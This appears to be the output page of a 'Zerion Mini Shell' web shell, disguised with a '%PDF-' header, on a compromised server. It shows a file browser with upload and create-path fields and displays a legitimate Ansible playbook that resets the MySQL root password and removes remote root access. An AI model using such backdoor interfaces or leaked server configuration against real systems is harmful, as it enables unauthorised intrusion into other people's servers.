%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/ansible/roles/mysql/tasks/
Upload File :
Create Path :
Current File : //etc/ansible/roles/mysql/tasks/mysql-change_password.yml

---
# change password for root user in MySQL service
# password_file  is mandatory options, it contains plain text password
#- fail:

- name: root password 
  set_fact:
    password: "{{ lookup('file', password_file) }}"
    sql_remove: "DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost', '127.0.0.1', '::1');"
    mysql_playbook: local
  tags: vars

- name: update root password
  mysql_user: name={{ mysql_login }} password={{ password }} host={{ item }}
    login_unix_socket={{ mysql_socket  }}
    check_implicit_admin=yes
    update_password=always
  with_items:
    - "::1"
    - "127.0.0.1"
    - "localhost"

- include: mysql-client_config.yml

- name: remove remote access for root
  shell: mysql --defaults-file={{ ansible_env.HOME  }}/.my.cnf -e "{{ sql_remove }}"

- set_fact:
    proccess_sites: True

- name: gathering facts about installed sites
  bx_facts: name=list password=0 install='(kernel|ext_kernel)'
  delegate_to: "{{ cluster_web_server }}"
  tags: gathering_facts
  ignore_errors: yes
  register: sites_info

- set_fact:
    proccess_sites: "{{ sites_info['changed'] }}"

- debug: msg="{{ proccess_sites }}"

- name: create variable bx_sites_info
  set_fact:
    bx_sites_info: "{{ hostvars[inventory_hostname]['bx_sites'] }}"
  tags: gathering_facts
  when: "proccess_sites and slave_server == cluster_web_server"

- include: sites-cache_directory-execute-root.yml
  vars:
    php_script: mysql_dbconn.php
    php_server: "{{ cluster_web_server }}"
  when: "proccess_sites and slave_server == cluster_web_server"
  static: no

- include: sites-cache_directory-execute-root.yml
  vars:
    php_script: mysql_settings.php
    php_server: "{{ cluster_web_server }}"
  when: "proccess_sites and slave_server == cluster_web_server"
  static: no


Zerion Mini Shell 1.0